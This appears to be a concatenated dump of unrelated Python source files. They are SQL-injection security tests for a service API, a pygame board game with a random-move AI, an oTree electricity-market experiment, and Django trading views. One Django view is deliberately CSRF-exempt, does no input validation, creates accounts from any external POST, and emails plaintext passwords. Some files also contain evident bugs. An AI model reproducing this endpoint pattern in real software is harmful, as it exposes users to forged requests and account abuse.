delete the service\n if self.service_url != '':\n self.client.delete_service(location=self.service_url)\n\n @attrib.attr('security')\n @ddt.file_data('data_sql_inj.json')\n def test_security_sql_inj_create_service(self, test_data):\n \"\"\"\n Check whether the application is vulnerable to sql injection.\n \"\"\"\n self.reset_defaults()\n #check domain list values\n for k in test_data:\n for key in self.domain_list[0]:\n self.service_name = str(uuid.uuid1())\n self.domain_list[0][key] = test_data['sql_inj_string']\n self.check_one_request()\n self.reset_defaults()\n #check origin list values\n for k in test_data:\n for key in self.origin_list[0]:\n self.service_name = str(uuid.uuid1())\n self.origin_list[0][key] = test_data['sql_inj_string']\n self.check_one_request()\n self.reset_defaults()\n #check the caching list values\n for k in test_data:\n for key in self.caching_list[1]:\n self.service_name = str(uuid.uuid1())\n # to do. This is currently tied with existing examples.\n if isinstance(self.caching_list[1][key], (list)):\n for the_key in self.caching_list[1][key][0]:\n self.caching_list[1][key][0][the_key] = test_data['sql_inj_string']\n self.check_one_request()\n self.reset_defaults()\n else:\n self.caching_list[1][key] = test_data['sql_inj_string']\n self.check_one_request()\n self.reset_defaults()\n #check the service name\n for k in test_data:\n self.service_name = test_data['sql_inj_string']\n self.check_one_request()\n self.reset_defaults()\n\n #check the flavor_id\n for k in test_data:\n self.flavor_id = test_data['sql_inj_string']\n self.check_one_request()\n self.reset_defaults()\n\n def tearDown(self):\n if self.service_url != '':\n self.client.delete_service(location=self.service_url)\n\n if self.test_config.generate_flavors:\n self.client.delete_flavor(flavor_id=self.flavor_id)\n\n super(TestSecuritySQLInjCreateService, self).tearDown()\n\n@ddt.ddt\nclass TestSecuritySQLInjListServices(base.TestBase):\n \"\"\"Tests for List Services.\"\"\"\n\n def _create_test_service(self):\n service_name = str(uuid.uuid1())\n\n self.domain_list = [{\"domain\": str(uuid.uuid1()) + '.com'}]\n\n self.origin_list = [{\"origin\": str(uuid.uuid1()) + '.com',\n \"port\": 443, \"ssl\": False}]\n\n self.caching_list = [{\"name\": \"default\", \"ttl\": 3600},\n {\"name\": \"home\", \"ttl\": 1200,\n \"rules\": [{\"name\": \"index\",\n \"request_url\": \"/index.htm\"}]}]\n\n self.client.create_service(service_name=service_name,\n domain_list=self.domain_list,\n origin_list=self.origin_list,\n caching_list=self.caching_list,\n flavor_id=self.flavor_id)\n if 'location' in resp.headers:\n self.service_url = resp.headers['location']\n else:\n self.service_url = ''\n return service_name\n\n def setUp(self):\n super(TestSecuritySQLInjListServices, self).setUp()\n self.service_list = []\n if self.test_config.generate_flavors:\n self.flavor_id = str(uuid.uuid1())\n self.client.create_flavor(\n flavor_id=self.flavor_id,\n provider_list=[{\"provider\": \"fastly\",\n \"links\": [{\"href\": \"www.fastly.com\",\n \"rel\": \"provider_url\"}]}])\n else:\n self.flavor_id = self.test_config.default_flavor\n\n @attrib.attr('security')\n @ddt.file_data('data_sql_inj.json')\n def test_list_services_sql_inj_limits(self, test_data):\n \"\"\"\n Test whether is possible to inject sql in limit parameter\n \"\"\"\n url_param = {'limit': test_data['sql_inj_string']}\n resp = self.client.list_services(param=url_param)\n self.assertEqual(resp.status_code, 400)\n\n @attrib.attr('security')\n @ddt.file_data('data_sql_inj.json')\n def test_list_services_sql_inj_marker(self, test_data):\n url_param = {'marker': test_data['sql_inj_string']}\n resp = self.client.list_services(param=url_param)\n self.assertEqual(resp.status_code, 400)\n\n def tearDown(self):\n for service in self.service_list:\n if self.service_url != '':\n self.client.delete_service(location=self.service_url)\n\n if self.test_config.generate_flavors:\n self.client.delete_flavor(flavor_id=self.flavor_id)\n\n super(TestSecuritySQLInjListServices, self).tearDown()\n","sub_path":"tests/security/services/test_sql_inj_services.py","file_name":"test_sql_inj_services.py","file_ext":"py","file_size_in_byte":8848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"122104956","text":"import pygame\nimport board\nimport gui\nimport random\nimport time\n\npygame.init()\n\n\nclass AI:\n\n \"\"\"This is just a class of a simple AI that a player can play with\"\"\"\n\n def __init__(self):\n self.game = board.board()\n self.window = pygame.display.set_mode((700, 600))\n self.play_board = gui.playboard(self.game, self.window)\n self.state = 1\n self.player = None\n self.ai = None\n self.player_choose()\n self.Draw(1)\n\n def player_choose(self):\n \"\"\"Player choose whether they want to go white or black (by typing b/w)\"\"\"\n self.player = input(\"Entering AI game, player choose your color please (b or w): \")\n if self.player == 'b':\n self.ai = 'w'\n elif self.player == 'w':\n self.ai = 'b'\n else:\n print('Sorry, Please do that again')\n self.player_choose()\n\n def Draw(self, b):\n \"\"\"Draw current using Pygame (functions in gui.py)\"\"\"\n surface = pygame.display.get_surface()\n surface.fill((0, 0, 0))\n if b == 'over' and self.state == 3:\n if self.game.white_piece == 0:\n text = \"Game is Over, Black wins!\"\n else:\n text = \"Game is Over, White wins!\"\n gui.DrawText(text, 45, (150, 150))\n gui.DrawText(\"White chess: \"+str(self.game.white_piece), 30, (150, 200))\n gui.DrawText(\"Black chess: \"+str(self.game.black_piece), 30, (150, 250))\n elif self.game.gameover() == False:\n if b == 1:\n text = \"Black chess's turn\"\n else:\n text = \"White chess's turn\"\n gui.DrawText(\"White chess: \"+str(self.game.white_piece), 30, (150, 200))\n gui.DrawText(\"Black chess: \"+str(self.game.black_piece), 30, (150, 250))\n gui.DrawText(text, 45, (150, 150))\n self.play_board.Draw_board()\n print(\"PLaying\")\n pygame.display.flip()\n\n def generate_pos(self, player):\n \"\"\"AI generating positions to put chess\"\"\"\n loc = random.randint(0, 23)\n self.game.board[self.game.side[loc][0]][self.game.side[loc][1]] = player\n if player == 1:\n self.game.black_piece = self.game.black_piece - 1\n if player == 2:\n self.game.white_piece = self.game.white_piece - 1\n\n def generate_direction(self):\n \"\"\"AI chooses which direction to push\"\"\"\n for i in self.game.side:\n if self.game.board[i[0]][i[1]] != 0:\n loc_x = i[0]\n loc_y = i[1]\n if (loc_x == 0 and loc_y == 0) or \\\n (loc_x == 0 and loc_y == 4) or \\\n (loc_x == 4 and loc_y == 0) or \\\n (loc_x == 4 and loc_y == 8) or \\\n (loc_x == 8 and loc_y == 0) or \\\n (loc_x == 8 and loc_y == 4):\n direction = 'M'\n else:\n d = random.randint(0,1)\n print(d)\n if d == 0:\n direction = 'L'\n else:\n direction = 'R'\n\n return direction\n\n def AI_turn(self):\n \"\"\"Function for AI's turn of playing\"\"\"\n workable = False\n print(\"AI is now deciding\")\n turn = 0\n block_ai = 0\n if self.ai == 'b':\n block_ai = 1\n turn = 2\n elif self.ai == 'w':\n block_ai = 2\n turn = 1\n while workable == False:\n self.generate_pos(block_ai)\n print(block_ai)\n direction = self.generate_direction()\n print(\"direction\" + direction)\n workable = self.game.push(direction)\n self.game.update()\n print(\"AI's turn:\")\n time.sleep(2)\n self.Draw(turn)\n\n def player_turn(self):\n \"\"\"Player's turn of playing\"\"\"\n workable = False\n block_player = 0\n turn = 0\n if self.player == 'b':\n block_player = 1\n turn = 2\n elif self.player == 'w':\n block_player = 2\n turn = 1\n while workable == False:\n self.game.insert(block_player)\n direction = self.game.direction()\n workable = self.game.push(direction)\n self.game.update()\n self.Draw(turn)\n\n def run(self):\n \"\"\"Game Run function\"\"\"\n n = 1\n while True:\n event = pygame.event.wait()\n if event.type == pygame.QUIT: # 判断事件类型是否为退出事件\n pygame.quit()\n return\n elif self.game.gameover() == False:\n self.state = 2\n if n % 2 != 0:\n if self.ai == 'b':\n self.AI_turn()\n elif self.ai == 'w':\n self.player_turn()\n else:\n if self.ai == 'b':\n self.player_turn()\n elif self.ai == 'w':\n self.AI_turn()\n n = n + 1\n print(self.game.board.tolist())\n time.sleep(1)\n elif self.game.gameover() == True:\n self.state = 3\n self.Draw('over')\n return\n\n\nif __name__ == \"__main__\":\n game = AI()\n game.run()\n\n","sub_path":"ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":5285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"551559703","text":"##Se importan las librerias\r\nfrom otree.api import (\r\n models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer,\r\n Currency as c, currency_range\r\n)\r\n\r\nauthor = 'Sebastián Bernal García & Nelson Felipe Barco'\r\n\r\ndoc = \"\"\"\r\nYour app description\r\n\"\"\"\r\n\r\n\r\n##Esta clase contiene las constantes del juego, estas seran aplicadas a todas las sesiones\r\nclass Constants(BaseConstants):\r\n name_in_url = 'mercadoElectrico'\r\n players_per_group = 5\r\n num_rounds = 70\r\n instructions_template = 'mercadoElectrico/Instruction.html'\r\n\r\n\r\nclass Subsession(BaseSubsession):\r\n capacidadInstaladaTotalFinal = models.FloatField()\r\n precioFinal = models.FloatField()\r\n\r\n\r\n##Esta clase tiene las variables que son grupales como el precio y la capacidad instalada total y los metodos para hacer\r\n##Calculos que afectan a todo el grupo\r\nclass Group(BaseGroup):\r\n capacidadInstaladaTotal = models.FloatField(initial=0)\r\n precio = models.FloatField(initial=0)\r\n costo = models.FloatField(initial=1)\r\n\r\n##Se hace el calculo de todos los participantes del grupo (su capacidad total instalada y en construccion) y\r\n## posteriormente se calcula el precio (variable de grupo) y con este el margen de utilidad, la utilidad y el payoff\r\n## para cada ronda\r\n def calculosGrupo(self):\r\n group = self\r\n players = group.get_players()\r\n for p in players:\r\n p.calculosParticipante()\r\n contributions = [p.CapacidadInstaladaActual for p in players]\r\n group.capacidadInstaladaTotal = sum(contributions)\r\n group.precio = 6 - (0.1 * group.capacidadInstaladaTotal)\r\n if group.precio < 0:\r\n group.precio = 0\r\n for p in players:\r\n p.calculoGanancia()\r\n p.calculoPayoff()\r\n return group.precio\r\n\r\n##Este metodo realiza los calculos que se muestran al iniciar cada ronda, por que oTree resetea las variables al saltar\r\n## de una ronda a otra\r\n def calculosIniciales(self):\r\n group = self\r\n players = group.get_players()\r\n for p in players:\r\n p.capacidadesPasadas()\r\n p.calculosTotales()\r\n p.lastRound = p.round_number - 1\r\n p.actualRound = p.round_number\r\n contributions = [p.CapacidadInstaladaActual for p in players]\r\n group.capacidadInstaladaTotal = sum(contributions)\r\n group.precio = 6 - (0.1 * group.capacidadInstaladaTotal)\r\n if group.precio < 0:\r\n group.precio = 0\r\n for p in players:\r\n p.calculoGanancia()\r\n return group.precio\r\n\r\n##Clase jugador, es una instancia por cada participante. Aqui estan algunas variables que representan los dato\r\n##Personales como son el nombre y el numero de cedula, y otras variables que son propias del juego como son 16 capacidades\r\n##instaladas, 4 capacidades en construccion y la decision. Ademas tambien estan los metodos de la clase utilizados para\r\n##Calcular la información de interes para el participante en particular como son el total de capacidades, la depreciacion\r\n##de la instalacion y eviolucion de la construccion, calculo de la ganacia (utilidad) y el payoff\r\nclass Player(BasePlayer):\r\n ##Información personal del usuario\r\n nombre = models.StringField(\r\n label=\"Nombre\",\r\n )\r\n cedula = models.IntegerField(\r\n label=\"No. Cedula\",\r\n min=100000,\r\n max=999999999999,\r\n )\r\n cedulaDe = models.StringField(\r\n label=\"De (municipio)\",\r\n )\r\n lastRound = models.IntegerField()\r\n actualRound = models.IntegerField()\r\n\r\n ##Información del juego\r\n ##Información de la inversion en nueva capacidad en construcción\r\n inversion = models.FloatField(\r\n min=0.0,\r\n max=55.0,\r\n initial=0,\r\n )\r\n ##Información de capacidad instalada\r\n capacidadInstalada1 = models.FloatField(initial=0.6875)\r\n capacidadInstalada2 = models.FloatField(initial=0.6875)\r\n capacidadInstalada3 = models.FloatField(initial=0.6875)\r\n capacidadInstalada4 = models.FloatField(initial=0.6875)\r\n capacidadInstalada5 = models.FloatField(initial=0.6875)\r\n capacidadInstalada6 = models.FloatField(initial=0.6875)\r\n capacidadInstalada7 = models.FloatField(initial=0.6875)\r\n capacidadInstalada8 = models.FloatField(initial=0.6875)\r\n capacidadInstalada9 = models.FloatField(initial=0.6875)\r\n capacidadInstalada10 = models.FloatField(initial=0.6875)\r\n capacidadInstalada11 = models.FloatField(initial=0.6875)\r\n capacidadInstalada12 = models.FloatField(initial=0.6875)\r\n capacidadInstalada13 = models.FloatField(initial=0.6875)\r\n capacidadInstalada14 = models.FloatField(initial=0.6875)\r\n capacidadInstalada15 = models.FloatField(initial=0.6875)\r\n capacidadInstalada16 = models.FloatField(initial=0.6875)\r\n\r\n ##Información de capacidad en construcción\r\n capacidadConstruida1 = models.FloatField(initial=0.6875)\r\n capacidadConstruida2 = models.FloatField(initial=0.6875)\r\n capacidadConstruida3 = models.FloatField(initial=0.6875)\r\n capacidadConstruida4 = models.FloatField(initial=0.6875)\r\n\r\n ##Información general de historicos\r\n CapacidadInstaladaActual = models.FloatField(initial=0, max=55.0, )\r\n CapacidadConstruccionActual = models.FloatField(initial=0)\r\n utilidadAcumulada = models.FloatField(initial=0)\r\n utilidad = models.FloatField(initial=0)\r\n margenUtilidad = models.FloatField(initial=0)\r\n gananciaPeriodoAnterior = models.FloatField(initial=0)\r\n capacidadInstaladaOtrosJugadores = models.FloatField(initial=0)\r\n\r\n def calculosParticipante(self):\r\n player = self\r\n group = self.group\r\n\r\n ##Si la ronda es la primera, no existe una ronda cero, por tanto ser toman los datos de la misma ronda\r\n if self.round_number == 1:\r\n ##Calculo capacidadaes instaladas al cambiar de año (ronda)\r\n player.capacidadInstalada16 = player.in_round(self.round_number).capacidadInstalada15\r\n player.capacidadInstalada15 = player.in_round(self.round_number).capacidadInstalada14\r\n player.capacidadInstalada14 = player.in_round(self.round_number).capacidadInstalada13\r\n player.capacidadInstalada13 = player.in_round(self.round_number).capacidadInstalada12\r\n player.capacidadInstalada12 = player.in_round(self.round_number).capacidadInstalada11\r\n player.capacidadInstalada11 = player.in_round(self.round_number).capacidadInstalada10\r\n player.capacidadInstalada10 = player.in_round(self.round_number).capacidadInstalada9\r\n player.capacidadInstalada9 = player.in_round(self.round_number).capacidadInstalada8\r\n player.capacidadInstalada8 = player.in_round(self.round_number).capacidadInstalada7\r\n player.capacidadInstalada7 = player.in_round(self.round_number).capacidadInstalada6\r\n player.capacidadInstalada6 = player.in_round(self.round_number).capacidadInstalada5\r\n player.capacidadInstalada5 = player.in_round(self.round_number).capacidadInstalada4\r\n player.capacidadInstalada4 = player.in_round(self.round_number).capacidadInstalada3\r\n player.capacidadInstalada3 = player.in_round(self.round_number).capacidadInstalada2\r\n player.capacidadInstalada2 = player.in_round(self.round_number).capacidadInstalada1\r\n player.capacidadInstalada1 = player.in_round(self.round_number).capacidadConstruida4\r\n\r\n ##Calculo capacidadaes en construccion al cambiar de año (ronda)\r\n player.capacidadConstruida4 = player.in_round(self.round_number).capacidadConstruida3\r\n player.capacidadConstruida3 = player.in_round(self.round_number).capacidadConstruida2\r\n player.capacidadConstruida2 = player.in_round(self.round_number).capacidadConstruida1\r\n player.capacidadConstruida1 = player.in_round(self.round_number).inversion\r\n\r\n player.calculosTotales()\r\n ##Der lo contrario se toman los datros de la ronda pasada.\r\n else:\r\n ##Calculo capacidadaes instaladas al cambiar de año (ronda)\r\n player.capacidadInstalada16 = player.in_round(self.round_number - 1).capacidadInstalada15\r\n player.capacidadInstalada15 = player.in_round(self.round_number - 1).capacidadInstalada14\r\n player.capacidadInstalada14 = player.in_round(self.round_number - 1).capacidadInstalada13\r\n player.capacidadInstalada13 = player.in_round(self.round_number - 1).capacidadInstalada12\r\n player.capacidadInstalada12 = player.in_round(self.round_number - 1).capacidadInstalada11\r\n player.capacidadInstalada11 = player.in_round(self.round_number - 1).capacidadInstalada10\r\n player.capacidadInstalada10 = player.in_round(self.round_number - 1).capacidadInstalada9\r\n player.capacidadInstalada9 = player.in_round(self.round_number - 1).capacidadInstalada8\r\n player.capacidadInstalada8 = player.in_round(self.round_number - 1).capacidadInstalada7\r\n player.capacidadInstalada7 = player.in_round(self.round_number - 1).capacidadInstalada6\r\n player.capacidadInstalada6 = player.in_round(self.round_number - 1).capacidadInstalada5\r\n player.capacidadInstalada5 = player.in_round(self.round_number - 1).capacidadInstalada4\r\n player.capacidadInstalada4 = player.in_round(self.round_number - 1).capacidadInstalada3\r\n player.capacidadInstalada3 = player.in_round(self.round_number - 1).capacidadInstalada2\r\n player.capacidadInstalada2 = player.in_round(self.round_number - 1).capacidadInstalada1\r\n player.capacidadInstalada1 = player.in_round(self.round_number - 1).capacidadConstruida4\r\n\r\n ##Calculo capacidadaes en construccion al cambiar de año (ronda)\r\n player.capacidadConstruida4 = player.in_round(self.round_number - 1).capacidadConstruida3\r\n player.capacidadConstruida3 = player.in_round(self.round_number - 1).capacidadConstruida2\r\n player.capacidadConstruida2 = player.in_round(self.round_number - 1).capacidadConstruida1\r\n player.capacidadConstruida1 = player.in_round(self.round_number).inversion\r\n\r\n player.calculosTotales()\r\n\r\n def calculosTotales(self):\r\n player = self\r\n group = self.group\r\n\r\n ##Capacidad instalada total de cad aparticipante\r\n player.CapacidadInstaladaActual = (\r\n player.capacidadInstalada1 + player.capacidadInstalada2 + player.capacidadInstalada3 +\r\n player.capacidadInstalada4 + player.capacidadInstalada5 + player.capacidadInstalada6 +\r\n player.capacidadInstalada7 +\r\n player.capacidadInstalada8 + player.capacidadInstalada9 + player.capacidadInstalada10 +\r\n player.capacidadInstalada11 + player.capacidadInstalada12 + player.capacidadInstalada13 +\r\n player.capacidadInstalada14 + player.capacidadInstalada15 + player.capacidadInstalada16)\r\n\r\n ##Capacidad construccion total de cad aparticipante\r\n player.CapacidadConstruccionActual = (player.capacidadConstruida1 + player.capacidadConstruida2 +\r\n player.capacidadConstruida3 + player.capacidadConstruida4)\r\n\r\n ##Calculo capacidades de la ronda pasada para mostrar al iniciar la ronda, esto por que oTree resetea topdas las\r\n ##variables al iniciar cada ronda\r\n def capacidadesPasadas(self):\r\n player = self\r\n group = self.group\r\n ##Solo aplica si ronda es superiro a la primera, en la primera no exidte capacidades pasadas\r\n if self.round_number != 1:\r\n ##Calculo capacidadaes instaladas al cambiar de año (ronda)\r\n player.capacidadInstalada16 = player.in_round(self.round_number - 1).capacidadInstalada16\r\n player.capacidadInstalada15 = player.in_round(self.round_number - 1).capacidadInstalada15\r\n player.capacidadInstalada14 = player.in_round(self.round_number - 1).capacidadInstalada14\r\n player.capacidadInstalada13 = player.in_round(self.round_number - 1).capacidadInstalada13\r\n player.capacidadInstalada12 = player.in_round(self.round_number - 1).capacidadInstalada12\r\n player.capacidadInstalada11 = player.in_round(self.round_number - 1).capacidadInstalada11\r\n player.capacidadInstalada10 = player.in_round(self.round_number - 1).capacidadInstalada10\r\n player.capacidadInstalada9 = player.in_round(self.round_number - 1).capacidadInstalada9\r\n player.capacidadInstalada8 = player.in_round(self.round_number - 1).capacidadInstalada8\r\n player.capacidadInstalada7 = player.in_round(self.round_number - 1).capacidadInstalada7\r\n player.capacidadInstalada6 = player.in_round(self.round_number - 1).capacidadInstalada6\r\n player.capacidadInstalada5 = player.in_round(self.round_number - 1).capacidadInstalada5\r\n player.capacidadInstalada4 = player.in_round(self.round_number - 1).capacidadInstalada4\r\n player.capacidadInstalada3 = player.in_round(self.round_number - 1).capacidadInstalada3\r\n player.capacidadInstalada2 = player.in_round(self.round_number - 1).capacidadInstalada2\r\n player.capacidadInstalada1 = player.in_round(self.round_number - 1).capacidadInstalada1\r\n\r\n ##Calculo capacidadaes en construccion al cambiar de año (ronda)\r\n player.capacidadConstruida4 = player.in_round(self.round_number - 1).capacidadConstruida4\r\n player.capacidadConstruida3 = player.in_round(self.round_number - 1).capacidadConstruida3\r\n player.capacidadConstruida2 = player.in_round(self.round_number - 1).capacidadConstruida2\r\n player.capacidadConstruida1 = player.in_round(self.round_number - 1).capacidadConstruida1\r\n\r\n player.CapacidadInstaladaActual = player.in_round(self.round_number - 1).CapacidadInstaladaActual\r\n\r\n player.CapacidadConstruccionActual = player.in_round(self.round_number - 1).CapacidadConstruccionActual\r\n\r\n ##Se calcula la ganancia para cada participante en base al precio grupal, el costo y el margen de utilidad.\r\n def calculoGanancia(self):\r\n player = self\r\n group = self.group\r\n player.margenUtilidad = group.precio - group.costo\r\n player.utilidad = player.CapacidadInstaladaActual * player.margenUtilidad\r\n if self.round_number == 1:\r\n player.utilidadAcumulada = player.utilidad\r\n else:\r\n player.utilidadAcumulada = player.in_round(self.round_number - 1).utilidadAcumulada + player.utilidad\r\n player.capacidadInstaladaOtrosJugadores = group.capacidadInstaladaTotal - player.CapacidadInstaladaActual\r\n\r\n ##Se calcula el pago en el mundo real, payoff, para cada participante en base a su utilidad acumulada\r\n def calculoPayoff(self):\r\n player = self\r\n group = self.group\r\n if player.utilidadAcumulada <= -300:\r\n self.participant.payoff = c(0)\r\n print('Entre a ganancia de menor a -300')\r\n elif player.utilidadAcumulada > 300:\r\n self.participant.payoff = c(45000).to_real_world_currency(self.session)\r\n print('Entre a ganancia de mayor a 300')\r\n else:\r\n self.participant.payoff = c((abs(-300 - player.utilidadAcumulada) * 75)).to_real_world_currency(\r\n self.session)\r\n print('Entre a ganancia intermedia')\r\n print(player.utilidadAcumulada)\r\n","sub_path":"mercados-electricos_18_11_2019/mercadoElectrico/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"212798076","text":"# -*- coding: utf-8 -*-\nfrom django.db.models import Q\nfrom django.http import HttpResponseRedirect, HttpResponse, Http404, HttpResponseForbidden\nfrom django.forms.models import inlineformset_factory, formset_factory\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.shortcuts import render_to_response,get_object_or_404\nfrom django.template import RequestContext\nfrom django.utils import simplejson\nfrom django.core.mail import EmailMessage\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\n\nfrom leadersplace.catalog.models import *\nfrom leadersplace.trading.models import *\nfrom leadersplace.trading.forms import *\n\nfrom leadersplace.users.models import User as LPUser\n\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport random\nimport string\n\nimport urllib\nimport urllib2\n\n@login_required\ndef request(request,id):\n\tu = request.user.get_profile()\n\tproduct = get_object_or_404(Product,pk=id)\n\trequests = Request.objects.filter(user=u,product=product)\n\tnew = True\n\tif len(requests) == 0:\n\t\treq = Request(user=u,product=product)\n\telif len(requests) == 1:\n\t\treq = requests[0]\n\t\tnew = False\n\telse: raise Http404\n\n\tform = RequestForm(initial={'price':req.requested_price,'obligation':req.obligation})\n\n\treturn render_to_response('request.html',{'product':product,'new':new, 'form':form},context_instance=RequestContext(request))\n\n\n@login_required\ndef request_save(request,id):\n\tu = request.user.get_profile()\n\tproduct = get_object_or_404(Product,pk=id)\n\trequests = Request.objects.filter(user=u,product=product)\n\tnew = True\n\tif len(requests) == 0:\n\t\treq = Request(user=u,product=product)\n\telif len(requests) == 1:\n\t\treq = requests[0]\n\t\tnew = False\n\telse: raise Http404\n\terr = 0\n\tchange_block_condition = (req.obligation > 0)\n\tif request.method == 'POST':\n\t\tform = RequestForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tprice = form.cleaned_data['price']\n\t\t\tobligation = form.cleaned_data['obligation']\n\t\t\tif price == 1: req.requested_price = product.importer_price\n\t\t\telif price == 2:\n\t\t\t\tif change_block_condition and req.requested_price > product.market_price: err = 5\n\t\t\t\telse: req.requested_price = product.market_price\n\t\t\telif price == 3:\n\t\t\t\tif change_block_condition and req.requested_price > product.discount_price: err = 5\n\t\t\t\telse: req.requested_price = product.discount_price\n\t\t\telse:\n\t\t\t\tif change_block_condition and req.requested_price > product.special_price: err = 5\n\t\t\t\telse: req.requested_price = product.special_price\n\t\t\tif obligation == 1:\n\t\t\t\tif change_block_condition: err = 5\n\t\t\t\telse: req.obligation = OBLIGATIONS[1]\n\t\t\telif obligation == 2:\n\t\t\t\tif change_block_condition and OBLIGATIONS[2] < req.obligation: err = 5\n\t\t\t\telse: req.obligation = OBLIGATIONS[2] \n\t\t\telif obligation == 3:\n\t\t\t\tif change_block_condition and OBLIGATIONS[3] < req.obligation: err = 5\n\t\t\t\telse: req.obligation = OBLIGATIONS[3] \n\t\t\telif obligation == 4: req.obligation = OBLIGATIONS[4]\n\t\t\telse: raise Http404\n\t\t\tif err == 0:\n\t\t\t\treq.save()\n\t\t\t\tif new: req.notify_on_create()\n#\t\t\t\tpost_data = [('status_id','96'),('post_type','edit'),('change_note','Hello From Django'),('comment_note','Comment Hello From Django'),('group_comment_id','21'),('product_id','14')]\n#\t\t\t\tresult = urllib2.urlopen('https://strong-flower-7533.herokuapp.com/users/update_message_status', urllib.urlencode(post_data))\n\t\t\t\treq.find_match()\n\t\telse:\n\t\t\terr = 3\n\telse: raise Http404\n\treturn render_to_response('request_saved.html',{'err':err}, context_instance=RequestContext(request))\n\n@login_required\ndef request_remove(request,id):\n\treturn render_to_response('remove.html', context_instance=RequestContext(request))\n\n@login_required\ndef request_remove_confirmed(request,id):\n\tu = request.user.get_profile()\n\tp = get_object_or_404(Product,pk=id)\n\treq = Request.objects.get(user=u,product=p)\n\tif req.remove(): return HttpResponseRedirect('obligation/')\n\treturn HttpResponseRedirect(settings.ROOT_URL+'/exit/')\n\n#@login_required\n#def request_saved(request,id):\n#\tu = request.user.get_profile()\n#\tp = get_object_or_404(Product,pk=id)\n#\treq = Request.objects.get(user=u,product=p)\n\n@login_required\ndef offer(request,id):\n\tu = request.user.get_profile()\n\tproduct = get_object_or_404(Product,pk=id)\n\toffers = Offer.objects.filter(user=u,product=product)\n\tnew = True\n\tif len(offers) == 0:\n\t\toff = Offer(user=u,product=product)\n\telif len(offers) == 1:\n\t\toff = offers[0]\n\t\tnew = False\n\telse: raise Http404\n\n#\tif u.isseller: CONDS = NEW_CONDITIONS\n#\telse: CONDS = CONDITIONS\n\n\tform = OfferForm(instance=off)\n\n\tif not u.isseller: form.fields[\"product_condition\"].choices = USED_CONDITIONS\n#\tif u.isseller: form.fields[\"product_condition\"].choices = NEW_CONDITIONS\n\treturn render_to_response('offer.html', {'product':product,'new':new, 'form':form},\n\t\tcontext_instance=RequestContext(request))\n\n@login_required\ndef offer_save(request,id):\n\tu = request.user.get_profile()\n\tproduct = get_object_or_404(Product,pk=id)\n\toffers = Offer.objects.filter(user=u,product=product)\n\terr = 0\n\tnew = True\n\tif len(offers) == 0: off = Offer(user=u,product=product)\n\telif len(offers) == 1:\n\t\toff = offers[0]\n\t\tnew = False\n\telse: raise Http404\n\n\tif request.method == 'POST':\n\t\torig_off = {}\n\t\torig_off['obligation'] = off.obligation\n\t\torig_off['price'] = off.price\n\t\tform = OfferForm(request.POST,instance=off)\n\t\tif form.is_valid():\n\t\t\tif new:\n\t\t\t\tform.save()\n\t\t\t\toff.find_match()\n\t\t\t\toff.notify_on_create()\n\t\t\telse:\n\t\t\t\tif orig_off['obligation'] < form.cleaned_data['obligation'] or \\\n\t\t\t\t\torig_off['price'] < form.cleaned_data['price']:\n\t\t\t\t\terr = 5\n\t\t\t\telse:\n\t\t\t\t\tform.save()\n\t\t\t\t\toff.find_match()\n\t\telse: err = 3\n\telse: raise Http404\n\treturn render_to_response('offer_saved.html', {'err':err},context_instance=RequestContext(request))\n\n@login_required\ndef offer_remove(request,id):\n\treturn render_to_response('remove.html', context_instance=RequestContext(request))\n\n@login_required\ndef offer_remove_confirmed(request,id):\n\tu = request.user.get_profile()\n\tp = get_object_or_404(Product,pk=id)\n\toff = Offer.objects.get(user=u,product=p)\n\toff.remove()\n\treturn HttpResponseRedirect(settings.ROOT_URL+'/exit/')\n\n\n@csrf_exempt\ndef ext_request(request):\n\t# get external post request;\n\t# create a new user if it doesn't exist\n\t# and create a new request + email. NO VALIDATION for input data !\n\t# and - the security token is disabled to allow external POST\n\tdata = request.POST\n\terrcode = 0\n\ttry:\n\t\terrcode = 1\n\t\tprod = get_object_or_404(Product,pk=data['product_id'])\n\t\tpassw = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits,12))\n\t\temail = email['email']\n\t\tprice = data['price']\n\t\tobligation = data['obligation']\n\t\tphone = data['phone']\n\t\tnew = True\n\t\terrcode = 2\n\t\ttry:\n\t\t\terrcode = 3\n\t\t\tusr = User.objects.get(email=email)\n\t\t\tlpusr = LPUser.objects.get(use=usr)\n#\t\t\tlpusr = LPUser(user=usr)\n\t\t\tnew = False\n\t\texcept:\n\t\t\terrcode = 4\n\t\t\tusr = User.objects.create_user(data['uname'], email, passw)\n\t\t\terrcode = 5\n\t\t\tusr.save()\n\t\t\terrcode = 6\n\t\t\tlpusr = LPUser(user=usr,phone=phone)\n\t\t\terrcode = 7\n\t\t\tlpusr.save()\n\t\t\terrcode = 8\n\t\terrcode = 10\n\t\trq = Request(user=lpusr,product=prod,price=price,obligation=obligation)\n\t\trq.save()\n\t\tif new:\n\t\t\teml_html = \"\\\n\t\t\tשלום וברוכים הבאים ל BEEZMARKET,
\\\n\t\t\tקהילת BEEZMARKET תשמח לשרת אתכם עם רשת מסחר חברתית אשר מאפשרת לכם לקנות ולמכור מוצרים, להתייעץ ולקרוא מידע מקצועי ולשתף חברים בתהליך הקניה.
\\\n\t\t\t

כניסה לחשבון : https://www.beezmarket.biz/

\\\n\t\t\t

\tשם משתמש : \"+str(data['uname'])+\"

\\\n\t\t\t

סיסמה ראשונית: \"+str(passw)+\"

\\\n\t\t\t

בקשתך להצעות מחיר למוצר \\\"\"+str(prod)+\"\\\" התקבלה מאתר ZAP.\\\n\t\t\tקיימת הצעת מחיר אחת רלוונטית לקניה עבורך.\\\n\t\t\tלעדכון הבקשה להסרת הבקשה\\\n\t\t\tאנו מעריכים את נכונותך לשתף אותנו בבקשה שלך. אנו נעשה כמיטב יכולתנו על\\\n\t\t\tמנת להשיג את המוצר שביקשת במחיר הטוב ביותר בשבילך.

\\\n\t\t\t

\tלמידע נוסף

\\\n\t\t\t

בברכה,

\\\n\t\t\t

צוות אתר BEEZMARKET

\\\n\t\t\t

